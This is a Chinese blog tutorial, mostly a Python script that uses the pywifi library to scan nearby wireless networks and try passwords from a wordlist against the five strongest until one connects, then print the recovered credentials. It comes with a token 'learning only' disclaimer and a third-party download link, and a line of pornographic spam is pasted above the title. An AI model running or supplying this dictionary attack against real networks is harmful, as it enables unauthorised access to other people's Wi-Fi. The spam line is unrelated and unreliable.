欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

Python利用字典破解WIFI密碼的方法

 更新時間:2019年02月27日 10:55:24   作者:wujinmei  
今天小編就為大家分享一篇關(guān)于Python利用字典破解WIFI密碼的方法,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧

最近看到網(wǎng)上的一些作品,然后進行一些完善。只是用于學(xué)習(xí),不要去干壞事哦。程序來源于網(wǎng),我只是做了一些優(yōu)化。當(dāng)然這種方法破解還是有點慢哦。我用的python 3.6.5

既然要破解wifi,那么連接wifi的模塊首先要有的,我們要導(dǎo)入pywifi模塊。

有些同學(xué)可能沒有這個,如果直接通過pip安裝的話,可能不能用,聽說這個wifi模塊被停用了,所以大家如果通過pip安裝的不行,那么就下載我提供的。

鏈接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安裝方法:

1)下載解壓好以后,我們用cmd命令行,進入到你的文件目錄

2)使用命令pip install . 注意了(install后面有個點) 

3)然后就會安裝了,等一會就可以了。

程序先查找附近的WIFI,然后按信號強度進行排序,然后只取前wificount=5個信號好的。

import pywifi
from pywifi import const #引用一些定義
import time
namelist = []
ssidlist = []
result = [] #存放查詢到的WIFI,密碼
wificount=5 #查詢附近信號最強的5個WIFI,最多5個
def getwifi():
  wifi=pywifi.PyWiFi()#抓取網(wǎng)卡接口
  ifaces=wifi.interfaces()[0]#獲取網(wǎng)卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重復(fù)的WIFI名稱
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取網(wǎng)卡接口
  ifaces=wifi.interfaces()[0]#獲取網(wǎng)卡
  ifaces.disconnect()#斷開無限網(wǎng)卡連接
  profile=pywifi.Profile()#創(chuàng)建wifi連接文件
  profile.ssid=ssidname#定義wifissid
  profile.auth=const.AUTH_ALG_OPEN#網(wǎng)卡的開放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密單元
  profile.key=password #wifi密碼
  ifaces.remove_all_network_profiles()#刪除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加載配置文件
  ifaces.connect(tmp_profile)#連接wifi
  time.sleep(5)#5秒內(nèi)能否連接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#斷開連接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接寫就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已經(jīng)找到密碼的WIFI從查詢中刪除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密碼保存起來
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI結(jié)果列表:")
    for item in result: #把已經(jīng)找到密碼的WIFI從查詢中刪除。
      print("")
      print("無線:",item[0])
      print("密碼:",item[1])
  else:
    print("沒有找到WIFI信號,請重試。")
if __name__ == '__main__':
  main()

總結(jié)

以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,謝謝大家對腳本之家的支持。如果你想了解更多相關(guān)內(nèi)容請查看下面相關(guān)鏈接

相關(guān)文章

最新評論